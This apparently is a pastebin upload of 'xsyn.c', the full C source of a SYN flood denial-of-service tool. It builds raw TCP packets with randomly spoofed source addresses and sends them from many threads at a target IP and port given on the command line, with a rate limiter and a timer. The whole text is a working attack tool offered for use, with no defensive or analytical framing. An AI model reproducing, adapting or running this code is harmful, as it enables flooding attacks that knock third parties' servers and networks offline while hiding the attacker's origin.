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xsyn.c

wtfbbq Jun 15th, 2015 (edited) 3,150 Never
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  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4.  
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/tcp.h>
  13. #include <time.h>
  14. #define MAX_PACKET_SIZE 4096
  15. #define PHI 0x9e3779b9
  16. static unsigned long int Q[4096], c = 362436;
  17. static unsigned int floodport;
  18. volatile int limiter;
  19. volatile unsigned int pps;
  20. volatile unsigned int sleeptime = 100;
  21. void init_rand(unsigned long int x)
  22. {
  23. int i;
  24. Q[0] = x;
  25. Q[1] = x + PHI;
  26. Q[2] = x + PHI + PHI;
  27. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  28. }
  29. unsigned long int rand_cmwc(void)
  30. {
  31. unsigned long long int t, a = 18782LL;
  32. static unsigned long int i = 4095;
  33. unsigned long int x, r = 0xfffffffe;
  34. i = (i + 1) & 4095;
  35. t = a * Q[i] + c;
  36. c = (t >> 32);
  37. x = t + c;
  38. if (x < c) {
  39. x++;
  40. c++;
  41. }
  42. return (Q[i] = r - x);
  43. }
  44. unsigned short csum (unsigned short *buf, int count)
  45. {
  46. register unsigned long sum = 0;
  47. while( count > 1 ) { sum += *buf++; count -= 2; }
  48. if(count > 0) { sum += *(unsigned char *)buf; }
  49. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  50. return (unsigned short)(~sum);
  51. }
  52. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  53. struct tcp_pseudo
  54. {
  55. unsigned long src_addr;
  56. unsigned long dst_addr;
  57. unsigned char zero;
  58. unsigned char proto;
  59. unsigned short length;
  60. } pseudohead;
  61. unsigned short total_len = iph->tot_len;
  62. pseudohead.src_addr=iph->saddr;
  63. pseudohead.dst_addr=iph->daddr;
  64. pseudohead.zero=0;
  65. pseudohead.proto=IPPROTO_TCP;
  66. pseudohead.length=htons(sizeof(struct tcphdr));
  67. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  68. unsigned short *tcp = malloc(totaltcp_len);
  69. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  70. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  71. unsigned short output = csum(tcp,totaltcp_len);
  72. free(tcp);
  73. return output;
  74. }
  75. void setup_ip_header(struct iphdr *iph)
  76. {
  77. char ip[17];
  78. snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  79. iph->ihl = 5;
  80. iph->version = 4;
  81. iph->tos = 0;
  82. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  83. iph->id = htonl(rand()%54321);
  84. iph->frag_off = 0;
  85. iph->ttl = MAXTTL;
  86. iph->protocol = 6;
  87. iph->check = 0;
  88. iph->saddr = inet_addr(ip);
  89. }
  90. void setup_tcp_header(struct tcphdr *tcph)
  91. {
  92. tcph->source = htons(rand()%65535);
  93. tcph->seq = rand();
  94. tcph->ack_seq = 0;
  95. tcph->res2 = 3;
  96. tcph->doff = 5;
  97. tcph->syn = 1;
  98. tcph->window = rand();
  99. tcph->check = 0;
  100. tcph->urg_ptr = 0;
  101. }
  102. void *flood(void *par1)
  103. {
  104. char *td = (char *)par1;
  105. char datagram[MAX_PACKET_SIZE];
  106. struct iphdr *iph = (struct iphdr *)datagram;
  107. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  108. struct sockaddr_in sin;
  109. sin.sin_family = AF_INET;
  110. sin.sin_port = htons(floodport);
  111. sin.sin_addr.s_addr = inet_addr(td);
  112. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  113. if(s < 0){
  114. fprintf(stderr, "Could not open raw socket.\n");
  115. exit(-1);
  116. }
  117. memset(datagram, 0, MAX_PACKET_SIZE);
  118. setup_ip_header(iph);
  119. setup_tcp_header(tcph);
  120. tcph->dest = htons(floodport);
  121. iph->daddr = sin.sin_addr.s_addr;
  122. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  123. int tmp = 1;
  124. const int *val = &tmp;
  125. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  126. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  127. exit(-1);
  128. }
  129. init_rand(time(NULL));
  130. register unsigned int i;
  131. i = 0;
  132. while(1){
  133. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  134. setup_ip_header(iph);
  135. setup_tcp_header(tcph);
  136. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  137. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  138. tcph->dest = htons(floodport);
  139. iph->daddr = sin.sin_addr.s_addr;
  140. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  141. tcph->seq = rand_cmwc() & 0xFFFF;
  142. tcph->source = htons(rand_cmwc() & 0xFFFF);
  143. tcph->check = 0;
  144. tcph->check = tcpcsum(iph, tcph);
  145. pps++;
  146. if(i >= limiter)
  147. {
  148. i = 0;
  149. usleep(sleeptime);
  150. }
  151. i++;
  152. }
  153. }
  154. int main(int argc, char *argv[ ])
  155. {
  156. if(argc < 6){
  157. fprintf(stderr, "Invalid parameters!\n");
  158. fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  159. exit(-1);
  160. }
  161. srand(time(0));
  162. fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
  163. int num_threads = atoi(argv[3]);
  164. floodport = atoi(argv[2]);
  165. int maxpps = atoi(argv[4]);
  166. limiter = 0;
  167. pps = 0;
  168. pthread_t thread[num_threads];
  169. int multiplier = 20;
  170. int i;
  171. for(i = 0;i<num_threads;i++){
  172. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  173. }
  174. for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  175. {
  176. usleep((1000/multiplier)*1000);
  177. if((pps*multiplier) > maxpps)
  178. {
  179. if(1 > limiter)
  180. {
  181. sleeptime+=100;
  182. } else {
  183. limiter--;
  184. }
  185. } else {
  186. limiter++;
  187. if(sleeptime > 25)
  188. {
  189. sleeptime-=25;
  190. } else {
  191. sleeptime = 0;
  192. }
  193. }
  194. pps = 0;
  195. }
  196. return 0;
  197. }
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